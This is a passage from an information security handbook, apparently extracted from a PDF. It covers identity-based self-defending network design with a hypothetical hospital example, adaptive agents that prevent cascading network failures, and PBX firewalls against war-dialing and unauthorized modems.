switch to which the user is connected. • User, group, access, and incident management policies — Although the various systems in the 5W Network perform the mechanics of security policy enforcement on their own, the network still requires instructions on how to protect itself. These instructions come in the form of policies. The user, group, and access policies determine what role the requester plays in the organization and to what services they should have access. Incident management policies tell the network what it should do when there is activity that violates the role determined by the policies. In the 5W Network, the development of sound, effective policies is where the security practitioner can have the highest impact on the overall network security posture of an organization. Well-developed access and incident management policies, when applied objectively and evenly, reduce the total cost of ownership of a network by reducing the manual intervention required by the IT staff for security incidents.
126
Information Security Management Handbook
Benefits The benefits of a secure, identity-based, self-defending network are obvious. It achieves access without compromising security. The 5W Network provides objective (policy-based) access based on business role rather than physical location. It also has the ability to lower administration and security costs by being preventive and self-reacting, thus freeing up staff to perform more meaningful tasks.
Disadvantages Unfortunately, 5W Networks are not all that common. The convergence of the technologies necessary for true interoperability and the standards (such as 802.1x) that allow for the various components to work with each other are fairly new. Not very many networking vendors produce and market their equipment with secure, identity-based networking in mind. In addition, the complexity of the overall 5W solution, even though it achieves an unprecedented level of security, requires expertise in a variety of IT disciplines that is not always readily available. Cost is also a major factor as the 5W Network requires more equipment of a higher class, expert labor, and greater effort in creating effective policies, none of which is necessary to deploy a traditional switched, easy-access network.
Future Currently, a fully role-based, self-defending network is relatively rare. It is generally deployed in large environments that can afford the very best in technology or require such a network due to sensitive information. It is almost impossible to find these networks in small to mid-sized businesses, which cannot afford to invest in these new technologies. As the demand for secure access grows, however, so will the number of networks that integrate the various components described in the previous sections. Research and development efforts by various networking vendors are focusing on making integrative security an important feature of their products, in addition to performance. As of the writing of this chapter, only one vendor, Enterasys Networks, offered a complete suite of networking equipment, including switches, routers, and IDSs, capable of integrating with existing authentication systems to offer true identity-based, self-defending capabilities. Other vendors, such as Cisco Systems, are not far behind in introducing products that have the same capability. As the demand increases and the technology matures, resulting in lower prices, it is expected that more organizations will choose to implement these networks.
Application of the 5W Network: A Sample Architecture Environments exist today that have invested in deploying a secure, identity-based, self-defending network. Unfortunately, these organizations are generally not amenable to sharing the details of their architecture to the public, fearing a compromise of a network they have invested so heavily in. So, instead of presenting a case study of an architecture that actually exists today, this section presents a theoretical application of a 5W Network in the setting of a large metropolitan hospital system.
Environment Overview The MetroHealth Hospital System is a not-for-profit healthcare provider in the Washington, D.C., Metro area. It operates four large hospitals in Virginia, Maryland, and Washington, D.C. Each hospital operates as a separate facility with its own administration that reports to a centralized executive structure of the overall MetroHealth System. In the hospitals, all of the patient care providers (doctors, nurses, and allied health professionals) need access to patient records, regardless of the facility or unit where they are working. A centralized medical record database stores all patient information in MetroHealth’s administrative office building (which contains the hospital system’s data center). Each hospital has an administration department that stores their own payroll, human resources, and operations information
127
The Five W’s and Designing a Secure Identity-Based, Self-Defending Network Network Architecture
Active Directory IDS Sensors Domain Controllers (Enterasys Dragon) IAS Service Hospital
Authentication Challenge and Access Control
Administrative Office Building
Network Port/Resource Access Based on Identity, Role, and Business Policy (Servers, Internet, Mail) MetroHealth Access Policy User Identity
Business Role
Access Rules
STOP
MetroHealth Laptop User
Switches (Enterasys Matrix)
Automatic Response to Inappropriate Activity
Core Switch (Enterasys Matrix)
Incident Management Policy/Rules
Resources
DS System Servers Servers Databases (Enterasys Dragon)
in servers that are dedicated to that hospital. The servers themselves are also located in MetroHealth’s data center, but the administration staffs of the hospitals are mobile, working out of the administrative office building and their respective hospitals. All Internet access to the MetroHealth system, including Web browsing and e-mail, is provided through the datacenter in the administrative office building. The MetroHealth enterprise network must provide the following functions: • Limit access to anyone not authorized by the hospital. • Provide access to patient records to healthcare providers regardless of the facility where they are working. • Provide business-hours’ access (Monday through Friday, 8:00 a.m. to 5:00 p.m.) to administrative staff to only resources and services dedicated to that particular hospital, regardless of the facility. • Provide all administrative staff safe access to Internet and e-mail, but limit access to the medical records database, regardless of the facility. • Prevent threats, including intruders and viruses, from spreading from one hospital to another or to the administrative office center.
Authentication System An enterprise-wide authentication system should be implemented at MetroHealth (see Figure 7.3). In this example, a single Microsoft Active Directory forest domain can be deployed, and each hospital and the administrative office center can be designated as an Organizational Unit (OU). Within each OU, user and role groups, such as doctors, nurses, allied health, payroll, human resources, and administration, can be created so a site-appropriate group is contained within each OU. Of course, redundant domain controllers will have to be deployed at each site to provide local authentication to resources in each hospital. In addition, Microsoft’s implementation of RADIUS, an Internet Authentication Service (IAS), will need to be configured and running on the domain controllers so that an access control system can communicate with the authentication system.
Network Infrastructure The network infrastructure, all of the switches, will have to support role-based networking at the port level. In this example, Enterasys Network’s Matrix series will serve as the core, edge, and distribution layer switches for MetroHealth. Currently, Enterasys Networks is the only manufacturer that produces port-level security features (via their user private network [UPN] capability) embedded within their layer two and three devices. By default, all of the ports on the MetroHealth network will allow access to a single service — authentication. All other ports will be closed.
128
Information Security Management Handbook
Access Control System The logical access control system will be comprised of the Microsoft Active Directory Infrastructure (with RADIUS) working in conjunction with the embedded security features of the Matrix switches (UPN enabled) via the IEEE 802.1x communication standard. The 802.1x standard for port-level access control will be used to authenticate end users and provide policy-based networking access for the authenticated users. The Microsoft 802.1x Authentication Client will be used at all of the desktops and laptops at MetroHealth to provide for authentication challenge at connection. The peripheral authorization will occur via hardware MAC addresses so only devices that have been predefined within the MetroHealth network can gain network access. The logical access control system components will ensure that enduser, port-level access is consistent with predefined access policies that are assigned to each MetroHealth Active Directory role group. The access control system focuses on the prevention of unauthenticated and unauthorized access on the entire network.
Intrusion Detection and Prevention Systems The Enterasys Dragon Intrusion Response system will serve as the intrusion detection and prevention system. The entire MetroHealth network will be monitored by Dragon sensors. These sensors will monitor the network for aberrant network traffic and abnormal end-user behavior by authenticated end users. If it detects any issues with a specific user or a port, such as scans or DDoS attack attempts, it can perform actions such as quarantine or port shutdown based on predefined incident management policies. This system will focus on the enforcement of network security policies on authenticated users and systems so the risk of incidents from trusted sources is also mitigated.
Access and Incident Management Policies One of the most important aspects of designing a secure network is documenting access and incident management policies. With the help of business analysts who understand explicitly the requirements of the organization, access policies should be written so network access is only granted to services required by the functional group within the organization. For example, MetroHealth access policies should state that, regardless of which OU healthcare providers are members of, regardless of the facility they are in, they should have network access to the medical records system located in the administrative office building. In addition, they will need to be granted access to other services (e-mail, Web access) when required. On the other hand, the access policies should restrict hospital- or OU-specific administrative users to their dedicated servers regardless of what facility they are logging in from. Access to the medical records system should only be granted to subgroups within administration, such as claims and billing, who use this information for their functional business roles. Because business roles play such a critical part in determining access, network architects need to work with business analysts carefully so the access policies assigned to groups within the Active Directory (or authentication systems) allow the appropriate level of access required for the role. It is also important to document and implement incident management policies within the IDS that will minimize administrator intervention. Whether the response to the incident is user-level quarantine or immediate reset of a connection, the appropriate responses to events should be predetermined based on the level of seriousness of the incident. The IDS system should be preconfigured so it is enforcing a set of incident management rules rather than performing an alert. This will allow hospital engineering staff to focus on incident policies rather than incident response, which has a much greater value to the organization.
Summary This chapter presented an emerging concept of networking based on business role and self defense. It provided a discussion of questions (“Who?” “What?” “Why?” “Where?” “When?”) that should be asked before granting access to organizational resources, including networks. A brief introduction into the
The Five W’s and Designing a Secure Identity-Based, Self-Defending Network
129
origins of modern-day networks was followed by a description of their features, benefits, and weaknesses, and they were compared against a new model of networking based on identity, role, and self-defense. This new model — the secure, identity-based, self-defending network (5W Network) — was discussed thoroughly with regard to its features, benefits, strengths, and weaknesses, as well as practical applications. It is expected that, as interest in security grows in enterprise environments, this type of networking, which balances access, security, and management, will become the standard for large organizations.
This page intentionally left blank
8 Maintaining Network Security: Availability via Intelligent Agents Robby Fussell
Introduction The information security model is composed of confidentiality, integrity, and availability. Availability is the area of information security that requires services and network components to be continuously available for the user community. If a service or component is unavailable, confidentiality and integrity are meaningless. Network availability is the underlying component that must be present in order for services to be accessible for end users. Developers have used redundancy to assist in ensuring that an application or network is available; however, this is an expensive solution if several network components and services are involved. Computer networks, the electrical power grid, the protein network of a cell, and many other scale-free networks have inherent problems. In order to understand the problems that reside within scale-free networks, an understanding of the concept of scale-free network construction must be observed. Discovered by the research performed by Barabási and his team (2003), scale-free networks are first identified by the characteristic of power laws. By examining a power law histogram (Figure 8.1), the components of the power law follow a downward decline, indicating the presence of many small nodes and a few large nodes. Nodes, in the case of the Internet scale-free computer network, can be described as subnetworks with a defined number of connections to other subnetworks; therefore, a power law distribution of nodes on the Internet would confirm that Internet nodes are primarily nodes having a small amount of connections, with only a few nodes having a large number of connections. This illustration of the power law configuration of the Internet exposes a significant problem that the hacker Mafia Boy almost exploited on a grand scale when he brought down some significant routers segmenting numerous networks. Scale-free networks have a remarkable tolerance against failure. For example, research by Barabási (2003) has shown that the removal of 80 percent of the nodes within a scale-free computer network allowed for the remaining 20 percent of the nodes to maintain the network’s connectivity; however, the nodes removed were those with a small number of connections. On the other hand, he demonstrated that removing only a few of the nodes having an abundance of connections quickly rendered the network inoperable. Scale-free networks provide a significant amount of robustness at the cost of having many nodes, and removal of the highly connected nodes is the Achilles’ heel of scale-free networks. One method for identifying the key nodes in a scale-free network is the use of nonlinear mathematics, also encompassing chaos theory. Using chaos theory could provide a means for identifying the probability factor that one node is subject to failure within the system. Knowing the probability of failure for each key node would
131
132
Information Security Management Handbook
FIGURE 8.1 Power law distribution.
allow the implementation of redundancy measures; however, determining the probability factor for a chaotic and complex system remains a challenge. Because an accurate nonlinear equation that depicts the framework of the Internet does not exist at the time of this report, the failure of nodes within a scalefree network is chaotic, and predicting which nodes will fail is not possible.
Problem Identification of the problem is difficult. Node failure within scale-free networks can produce different effects. As stated earlier, the failure of many small nodes will not affect network performance; however, if a few large nodes fail, then the network can be severely crippled. A solution would be to identify the large nodes and protect them. This is not an easy task because each individual network that comprises the Internet could have unidentified large nodes, and the classification task would be complicated; however, the problem itself is not simply the failure of nodes but rather the cascading failure of nodes. Without a doubt, failure of the main node router that connects a company to the Internet is a problem for that company and its customers, but failure of the main large node routers on the Internet is a problem for everybody. Cascading failure occurs when one node fails and the load from that node is shifted to another node, which causes that node to fail and that load gets shifted to the next node, causing it to fail, and so forth, like a domino effect. Causing the appropriate nodes to fail could eventually lead to failure of all of the main large nodes within the network, in turn disabling the entire Internet. Thus, the big problem to be solved is cascading failures.
Concept Cascading failures within a scale-free network can isolate network segments from communication. Several approaches for solving the problem of cascading failures within scale-free networks and maintaining network availability have been examined; however, the use of artificial intelligence in the design of network availability looks most promising and seems to be the answer for providing significant computer security. An adaptive agent approach has been studied. This approach is a subset of a network security approach. Network security encompasses the area of security in dealing with networks. It covers methods that provide ways of securing the network by means of redundancy and monitoring. Further dissecting the problem of cascading failures points to the main cause of the problem as being excessive amounts of
Maintaining Network Security: Availability via Intelligent Agents
133
network traffic load. A method for monitoring and throttling network traffic could provide a measure of security. Many solutions have been developed for balancing traffic loads but only at a sublevel; these solutions target specific routers or aim to provide specific services, such as in quality of service (QoS) agreements. The use of artificial intelligence (i.e., intelligent agents) is intended to provide a solution for the entire network; this approach arose from the idea of self-healing networks, which attempt to correct a problem after the damage has occurred. The adaptive-agent network strives to be a proactive solution for continuous network availability. Adaptive agents monitor the complex network environment and, based on condition/response rules, determine which actions to perform. The agent code designed to solve the problem of cascading failures would monitor the incoming network traffic load and, based on the load of the current agent, weights assigned to the load levels, and destination or upstream agent loads, would determine how to handle the traffic by either passing the traffic or halting the traffic. This approach maintains load levels to prevent node failure and subsequent cascading failures.
Problem-Solving Methodology To solve the problem of cascading failures, a network must be monitored and loads altered to prevent the failure of nodes. Agents deployed throughout the network would be responsible for communicating with their neighboring agents along with providing feedback on load levels. This feedback would be utilized to direct positive or negative responses. This concept is also known as reinforcement learning. Each agent would be responsible for monitoring its own load level and incoming traffic load in order to maintain its own stability. Solving the problem requires all of the following: • Define the problem. The problem is cascading failures in scale-free networks, where the scale-free network environment is computer networks. • Identify key issues. The primary reason for network node failure is typically traffic load on the network. Traffic loads in combination with current processing loads represent the total loads handled by the nodes. Feedback is another issue to be considered. Feedback assists each agent in developing weights for condition/action rules. The weights will have to be adjusted by each agent based on the feedback given because of transmitted traffic loads. This feedback and weighting process will generate better condition/action rules based on fluctuations in the complex system. • Collect information. A variety of information must be collected relating to scale-free networks and electrical power grid blackouts. • Make key assumptions. One key assumption is that communication of feedback between agents will be available. The solution will depend on feedback from neighboring agents in order to maintain optimum weight values, which will produce optimally adapted condition/action rules. It is also assumed that the simulated network environment will have the characteristics of the real environment. • Segment the problem. Cascading failures can be reduced to one general failure. The objective is to prevent a failure from occurring. The cause of the problem of cascading failures has been identified as overload. The problem of overload can be further segmented into overload caused by the current agent operating at a level where the incoming traffic load causes the total load to be over capacity. Overload will have to be monitored for both the current agent and the neighboring agents. • Solution integration. The solution to the problem of overload can be identified by the condition/ response rules of an agent. The agent monitors incoming traffic loads, then: • It determines if the incoming traffic load will exceed load capacity, based on the load of the current agent. • If it can accept the incoming traffic load, the current agent determines whether or not it can pass the traffic load onto the neighboring agent, based on its load capacity and rule weights. • After passing traffic load to the neighboring agent, the neighboring agent sends back a positive or negative feedback code.
134
Information Security Management Handbook
•
The current agent, based on the neighboring agent’s feedback, updates its weights table (an adaptive process). • Validate test results — The solution produces an agent that can adapt to the feedback generated by the neighboring agents. Based on the assumption that the current agent can update its weights table from the responses of neighboring agents, the current agent should be able to throttle the network traffic as necessary to prevent cascading failures.
Design Specifications Knowledge Representation According to Davis et al. (1993), knowledge representation (KR) is a surrogate for the real world. It is the process of creating a representation of a real-world environment and testing on that simulation instead of acting on the real-world object itself. Knowledge representation technologies are the tools utilized to perform in a simulated environment. In this model, condition/action rules are utilized. When performing knowledge representation, one must remember that a knowledge representation does not fully substitute for the real-world object. The surrogate will inevitably overlook some factors. The complexity of the world requires the KR to be a more focused substitution of the real world that disregards parts of the real-world environment. By defining a KR, results are really only significant for the defined KR. It is possible that the logic gleaned from the knowledge representation will fail in the real-world environment due to its complexity. The KR of the complex environment of a network will be that a node communicates to another node and, as long as a node remains below it internal capacity, it will continue to communicate. If the node reaches or exceeds its capacity, it will cease to operate. Here, the nodes are referred to as agents. The agents will receive traffic and will send traffic. Traffic data will be represented by a file of values. The adaptation weight values used for logical flow are contained in a file and are arbitrary at onset. Thus, the complex adaptive network will consist of agents and data input files for evaluation. The traffic data is a representation of varying network traffic load. The adaptation weights are used to represent a factor for sending or not sending network traffic. The KR of intelligent reasoning is the key component. Based on the KR, intelligent-based reasoning will provide the logic for a desired outcome in solving the stated problem. As stated by Davis et al. (1993), intelligent reasoning contains three elements: • What is intelligent reasoning? • What can be obtained from what is known? • What should be obtained from what is known? The representation of intelligent reasoning for this model is based on condition/action or, as defined by Holland (1995), stimulus/response. The mathematical logic/algorithm is structured on condition/action rules coded in Java using “if…then” statements. The second question focuses on appropriate conclusions based on real-world information. The intelligent reasoning approach assumes that any load greater than 95 percent capacity will be released in order to avoid a node failure. In addition, any weight range that falls below 55 percent will not pass network traffic. These values have been obtained from real-world observances of network flow. This logic tells the system what to perform. It provides a baseline for intelligent reasoning. Finally, the involvement of feedback in the form of a file containing positive and negative values pertaining to responses given by upstream nodes and the process of updating the weight values after receiving feedback provide a means for intelligent action determination.
Algorithms and Strategies The solution strategy, then, is to use adaptive agents to monitor network traffic and, based on the network traffic load, direct traffic toward a specific neighboring node. The adaptive agents determine if the traffic
Maintaining Network Security: Availability via Intelligent Agents
135
load should be transmitted to the neighboring agent based on the load of the neighboring agent, traffic load, and rule set baseline ratio. The agent also evaluate its current load. If the load of the current agent plus the network traffic load exceed capacity, then the current agent would dismiss the network traffic. The agent also receives feedback from the neighboring agent that gives the current agent a measure for how well the rule worked for the transmittal of traffic. Weight evaluation procedures utilize the highand low-end ranges in the adaptation weights file based on the total load, which is the traffic load plus the neighboring agent load. The Java agent code utilizes the following three algorithms: • Rule set baseline algorithm (sanctioned inference) If incoming traffic load + current agent load > current agent load capacity, throttle traffic. This prevents the possible failure of the current agent based on the high load for processing. If incoming traffic load + neighboring agent load > neighboring agent load capacity, throttle traffic. This means that the neighboring agent would not be able to process the traffic and would probably fail if required to do so. • Load/weight evaluation algorithm (recommended inference) If the above rules are not satisfied, the agent will pass the network traffic based on the following algorithm: (high-end range weight + low-end range weight)/200 = test ratio. If test ratio < .55, then the current agent throttles traffic load and reads feedback from the upstream agent. If test ratio > .55, then the current agent passes traffic load to the upstream agent and reads feedback from the upstream agent. The evaluation algorithm contains parameters that can be adjusted for a better evaluation outcome. • Weights update process (adaptation) Adapted high-end range weight = current high-end range weight + feedback score. Adapted low-end range weight = current low-end range weight + feedback score. This process provides a means for placing higher significance on positively reinforced load ranges.
Test Results This simulated system environment was based on an adaptive agent artificial intelligence approach. In order for the adaptive agent to be successful, three requirements must be satisfied: • All the agents in the complex adaptive system must utilize the same syntax in the rule set. • The rule set will be used to provide information among agents. • The adaptive agent must contain an adaptive method for modifying the rule set. In accordance with the first item, the rule set utilizes condition/response rules in the form of “if…then” statements within the Java agent code. The “if…then” statements construct the algorithm that determines how the agent throttles traffic load. With regard to the second item, the agents are responsible for communicating to neighboring agents using feedback values of 1 and –1. If an agent encounters an increase in load before the neighboring traffic load is received, it can send back a negative feedback code for the original load, and the neighboring agent can update its weights table. Thus, the new weights table will contain the newly adapted weight for future incoming traffic load. Finally, for item three, the updated weights method in the Java agent code is the process that modifies the weight table and in essence modifies the rules. It is a method for providing for nonstatic decision making. The agent employs the weights table to adapt its behavior. The environment uses files that are read by the Java agent code. One file is used for incoming traffic load: traffic_data.txt. In Table 8.1, the first column of the data represents the load of the neighboring agent. The second column represents the load on the current agent. The third column represents the incoming traffic load. Another file is used to contain the weight values for a load range: adaptation_weights.txt. In Table 8.2, the first column of this data represents the load values of the neighboring agent plus the traffic load to
136
Information Security Management Handbook
TABLE 8.1
Traffic_data.txt
Neighbor Agent Load
Current Agent Load
Traffic Load
50 25 90 50 90 90 80 30 10 15
25 75 20 20 12 25 15 30 10 70
35 50 60 30 10 4 14 10 5 30
TABLE 8.2
Adaptation_weights.txt
Total Load
Weight
95 90 80 70 60 50 40 30 20 10
0 0 0 72 75 100 100 85 100 100
be passed, and the second column represents the weight values. For testing purposes, both the traffic_data.txt and adaptation_weights.txt files were populated with arbitrary data. The purpose was to examine the adaptation rules to verify if the Java agent code would correctly update the adaptation weight values based on feedback codes. The feedback codes were read in from the file neighboring_agent_ responses.txt (see Table 8.3). The data contained in this file was either 1 or –1. The responses were read after each traffic load was processed and transmitted. If the traffic load was throttled, the response table was not read. If the agent correctly updated the adaptation weights based on the feedback from the neighboring agent, then the next traffic load was evaluated correctly. The reason for a smaller list of feedback codes compared to adaptation weights and traffic data is because of the Java agent code baseline. For all traffic that generated a load higher than 95 on the current agent or if the neighboring agent was throttled (i.e., dropped from the simulation network to prevent node failures), the feedback codes were not utilized. Examining Figure 8.2, the chart contains the original weights and the adapted weights. The Java agent code was processed through 100 iterations, and the graph in Figure 8.2 was generated. The original weight values were arbitrary initial values. Based on the feedback codes generated after every traffic load read, TABLE 8.3
Neighboring_agent_responses.txt
Neighbor Agent Responses –1 –1 –1 –1 1 1
137
Maintaining Network Security: Availability via Intelligent Agents
100 90 80
Weights
70 60 50 Original Weights 40
Adapted Weights
30 20 10 0 95
90
80
70
60
50
40
30
20
10
Total Load
FIGURE 8.2 Adaptation credit assignment.
the adaptation weight file was updated. The weight value was increased by one if the response was positive and was reduced by one if the response was negative. Figure 8.2 shows the original and adapted weights and indicates that, if the neighbor load plus the traffic load were low, then the current agent would favor sending the data; however, if the neighbor load plus the traffic load was high, then the data was throttled. The test results suggest that adaptive agents would be successful in preventing cascading failures in a simulated network environment. Figure 8.2 also shows the adjusted values necessary for each agent to make intelligent decisions for network traffic transmittal. The reinforcement learning process in each agent provides the ability for adaptation by providing a positive or negative feedback result. Adaptation is a significant characteristic of complex systems that are able to evolve and continue to exist. This test project utilized artificial intelligence techniques such as reinforcement learning and intelligent agents to deliver adaptation in a complex networking system in order to provide for continued network availability. This continued network availability offers optimum security for the confidentiality–integrity–availability security model.
References Amin, M. 2003. North America’s electricity infrastructure: are we ready for more perfect storms? IEEE Security Privacy 1(5):19–25. Amin, M. 2000. Toward self-healing infrastructure systems. Computer 33(08):44–53. Barabási, A.-L. 2003. Linked. New York: Penguin Group. Barabási, A.-L. and Bonabeau, E. 2003. Scale-free networks. Sci. Am. 288(5):50–59. Bearman, P., J. Moody, and R. Faris, Networks and history. Complexity 8(1):61–71. Brewer, E.A. 2001. Lessons from giant-scale services. IEEE Internet Comput. Online 5(4):46–55. Briesemeister, L., P. Lincoln, and P. Porras. 2003. Epidemic profiles and defense of scale-free networks. In Proceedings of the 2003 ACM Workshop on Rapid Malcode, pp. 67–75. New York: ACM Press. Brooks, R.A. 1991. Intelligence without reason. In Proceedings of Computers and Thought, IJCAI-91, Sydney, Australia, pp. 1–28. Chiva-Gomez, R. 2003. The facilitating factors for organizational learning: bringing ideas from complex adaptive systems. Knowledge Process Manage. 10(2):99–114.
138
Information Security Management Handbook
Davis, R., H. Shrobe, and P. Szolovits. 1993. What is knowledge representation? AI Mag. 14(1): 17–33. Dobson, I., B.A. Carreras, and D.E. Newman. 2003. A probabilistic loading-dependent model of cascading failure and possible implications for blackouts. In Proceedings of the 36th Hawaii International Conference on System Sciences, Big Island, Hawaii, January 6–9. Dobson, I., B.A. Carreras, and D.E. Newman. 2004. A branching process approximation to cascading load-dependent system failure. In Proceedings of the 37th Hawaii International Conference on System Sciences, Big Island, Hawaii, January 5–8. Fairley, P. 2004. The unruly power grid: advanced mathematical modeling suggests that big blackouts are inevitable. IEEE Spectrum 41(8):22–27. Gay, L.R. and P. Airasian. 2003. Educational Research: Competencies for Analysis and Applications. Englewood Cliffs, NJ: Prentice Hall. Gleick, J. 1987. Chaos: Making a New Science. New York: Penguin Group. Graduate School of Computer and Information Sciences, N.S.U. Dissertation Guide, Graduate School of Computer and Information Sciences, Nova Southeastern University, Fort Lauderdale, 2004, p. 58. Holland, J.H. 1995. Hidden Order: How Adaptation Builds Complexity. Reading, MA: Perseus Books. Levin, S.A. 2002. Complex adaptive systems: exploring the known, the unknown, and the unknowable. Bull. Am. Math. Soc. 40(1):3–19. Ottino, J.M. 2003. Complex systems. AIChE J. 49(2):292–299. Raz, O., P. Koopman, and M. Shaw. 2002. Enabling automatic adaptation in systems with under-specified elements. In Proceedings of WOSS ‘02, Charleston, SC, pp. 55–61. New York: ACM Press. Roy, S., C. Asavathiratham, B.C. Lesieutre, and G.C. Verghese. 2001. Network models: growth, dynamics, and failure. In Proceedings of the 34th Hawaii International Conference on System Sciences, Maui, Hawaii, January 3–6. Siganos, G., M. Faloutsos, P. Faloutsos, and C. Faloutsos. 2003. Power laws and the AS-level Internet topology. In IEEE/ACM Transactions on Networking, pp. 514–524. New York: ACM Press. Strogatz, S. 2003. Sync: How Order Emerges from Chaos in the Universe, Nature, and Daily Life. New York: Hyperion. Talukdar, S.N., J. Apt, M. Ilic, L.B. Lave, and M.G. Morgan, 2003. Cascading failures: survival versus prevention. Electricity J. 16(9):25–31. Waldrop, M.M. 1992. Complexity: The Emerging Science at the Edge of Order and Chaos. New York: Simon & Schuster. Wilkinson, D. 2003. Civilizations as networks: trade, war, diplomacy, and command-control. Complexity 8(1):82–86. Yang, H.-L. and J.-H. Tang. 2004. Team structure and team performance in IS development: a social network perspective. Inform. Manage. 41(3):335–349.
9 PBX Firewalls: Closing the Back Door William A. Yarberry, Jr.
Introduction Given all the movement toward packet-based data communications, one would think that modems and dial-up communications would wither like the communist state. Clearly, that is not the case. There are many reasons. Sometimes, “rogue” employees want to communicate outside of corporate guidelines; servers, power reset devices, HVAC, fire alarms, certain medical equipment, and many other devices may still need to be accessed via dial-up. Some routers and DSU/CSUs are out-of-band addressable (i.e., maintenance via dial-up can be performed when the primary link is down). All these points of contact through the PSTN (public switched telephone network) represent an open target for war-dialing. The dialers have gotten sophisticated, using massive hacker dictionaries that often crack applications quickly. Modems are often left in auto-answer mode, so the war dialer is able to collect active numbers during the night. The hacker has his “cup of joe” and a “hit list” the next morning. The bottom line is that any organization without strong controls over dial-up lines and the voice network has a serious back-door exposure. Further compounding the remote access problem is unauthorized use of pcAnywhere and similar products. Remote access products can be set up with little or no security. With thousands of employees, many of whom may want to access personal files on their workstation from home, it is likely that unauthorized modems/software will exist somewhere inside the network. When presented with this vulnerability, management may consider a manual solution: Get rid of all but the most essential modems so the voice network carries virtually nothing but voice and fax traffic. The following are some of the reasons that make it difficult to pursue such a policy: • Organizations that have been in a location for several years tend to build up an inventory of analog lines. The telecom director is usually loath to arbitrarily disconnect undocumented lines because they might be used for a legitimate business purpose or a person of “importance” might use it once every three months. • Fax machines use analog lines. For expediency, these lines are sometimes used for modem connections. No one informs telecom that usage of the line has changed. • Outbound fax/modems are commonly used. Sometimes, inbound dial-in is inadvertently enabled. • The PBX has no way to look inside the channel to determine the type of traffic — voice, data, or fax. • Analog lines are sometimes ordered directly from the local telephone company (without going through the telecom group). The lines, sometimes called “Centrex,” go into the organization’s demarc but do not pass through the PBX. Without strong controls over changes to the communications infrastructure, the telecom group may be unaware that a Centrex line has been installed.
139
140
Information Security Management Handbook
• PBX and other equipment/software vendors often have a standard method of dialing into a maintenance port to troubleshoot, monitor, and upgrade systems. If the PBX is not secure, hackers can shut down the entire voice system. For example, each extension and line connected to the PBX has a class of service that determines its allowed function. A hacker could change all classes of service to outbound only so no calls could be received by the company. • Analog jacks may be installed in conference rooms and other common areas. These jacks are for occasional use by contractors or other parties. When the need for the connection is over, the line is sometimes inadvertently left hot. Projects to reclaim unused ports and lines are usually only partially effective. Determining who owns the line and what it is used for can easily consume a month or more of several technicians’ time. One large financial services company in the Midwest hired two highly trained technicians to trace down and document every analog line in a multi-thousand employee campus. By the time the technicians reached the last building in their months-long project, new — and undocumented — lines had sprung up in the buildings already inventoried. One solution to the analog line mess is to protect the firm’s voice network with a PBX firewall. This device sits between the telephone demarc (the demarcation point between the local telephone company wiring and in-house wiring) and the PBXs. Housed in one or more pizza-sized boxes, the PBX firewall has enough firepower (proprietary algorithms, fast chips, large memory, and many gigs of storage) to look inside every channel carrying information (voice, fax, modem) into and out of the site. Before discussing the capabilities of the firewall, let’s review the capabilities and limitations of the traditional large PBX.
Limitations of PBX Control and Reporting Virtually all large-scale PBXs come equipped with the capability to report and control traffic to some degree. This capability is needed for capacity planning, day-to-day operations, and security (toll fraud prevention). Some voice network controls over unauthorized use of modems can be established with existing capabilities: • Report origination and termination of calls. Using a call accounting package, calls can be summarized in various ways (by specific number, area code, country, etc.). Call details must be collected for this reporting to be available. • Set the class of service on selected analog lines to outbound only. • Block all calls to and from specific area codes (e.g., 900) or countries. • Identify calls of long duration, such as those more than three hours. • Identify calls under ten seconds, an indicator of possible war-dialing activity. Some other good practices that should be employed within the existing voice network include: • Consolidate all dial-up lines to use a centrally controlled modem bank or RAS server. • Enforce physical security (wiring closets, demarc, etc.). • Assign dial-up lines to numbers that are outside the range of normal business activity for the location. For example, if the published business voice numbers range from 281-345-1000 to 281-345-2999, then analog circuits might be in a range such as 281-654-2500 to 281-654-3500. • Disable banner information that provides a hacker with useful information. • Perform a self-audit using war-dialing software. Independent consultants and audit staff are best used for this effort. • Use dial-back systems such as CLI identification for a Shiva device.1 • Strengthen procedures for provisioning analog lines and charging for their use. Perform periodic inventories. • Use two-factor authentication systems where practical. Figure 9.1 shows Aladdin’s eToken Pro smart card, which has on-board RSA 1024-bit key operations, enabling integration into publickey infrastructure (PKI) architectures.
PBX Firewalls: Closing the Back Door
141
FIGURE 9.1 Smart card for two-factor authentication. (Courtesy of Aladdin, Arlington Heights, IL.)
PBX Firewall Capabilities The PBX capabilities listed above are, to borrow a term from mathematics, necessary but not sufficient. What is needed is the ability to manage voice enterprise network security functions and set rules without going through the awkward security structures that make up the traditional PBX security system.2 The PBX firewall, when properly configured, will plug many of the security gaps in the voice network. Although the following discussion of capabilities and related issues is based specifically on SecureLogix’s TeleWall product (www.securelogix.com), the general principles will apply to any full-featured PBX firewall. Specific capabilities include: • Call type recognition. The firewall has the capability to recognize the traffic, including voice, fax, modem, STU-III (Secure Telephone Unit, third generation), video, unanswered, and busy. • Rule-based security policy. Policies can be constructed by building individual rules in a manner similar to industry-standard IP firewall rule creation. Policies are physically set using logical (GUI) commands across any combination of phone stations or groups. • Rule-based call termination. Rules can be configured to automatically terminate unauthorized calls without direct human intervention. For example, assume the internal number 281-345-1234 is assigned to a fax machine. An employee decides he needs a modem connection. Rather than going through procedures, he disconnects the fax line and uses it for his modem link. As soon as modem traffic is detected on the line, a rule is invoked that terminates the call — within a second or two. • Complex rule creation. Rules should be flexible enough to fit business needs. For example, fax machines often have telephones that can be used to call the receiving party to ensure that the fax was received or to exchange some other brief information (and sometimes to help enter codes). The rules associated with that analog line could allow fax traffic for any reasonable duration, prohibit modem traffic altogether, and allow a voice call to last only five minutes. • Centralized administration. The firewall should be capable of multiple-site links so rules can be administered across the enterprise. • Real-time alerts. Rule violations can trigger a variety of messages, such as e-mail, pager, and SNMP security event notification. Assume, for example, that highly sensitive trade secrets are part of the organization’s intellectual assets. Calls from anywhere in the enterprise to known competitors (at least their published telephone numbers) can be monitored and reported in a log or in real-time. More commonly, employees may occasionally dial up their personal ISP to get sports news, etc., during the day because sports and other non-work-related sites are blocked by the firm’s IP firewall. Calls to local ISP access numbers can be blocked or at least flagged by the PBX firewall. This is more than an efficiency issue. A PC on the network that is dialed into an ISP links the outside world to the organization’s IT resources directly, with no IP firewall protection. • Stateful call inspection. Call content can be continuously monitored for call-type changes. Any change is immediately logged and the call is again compared to the security policy. • Dialback modem enforcement. Security policies can be used to enforce dialback modem operation.
142
Information Security Management Handbook
FIGURE 9.2 Increased security by combining IP and telephony firewalls.
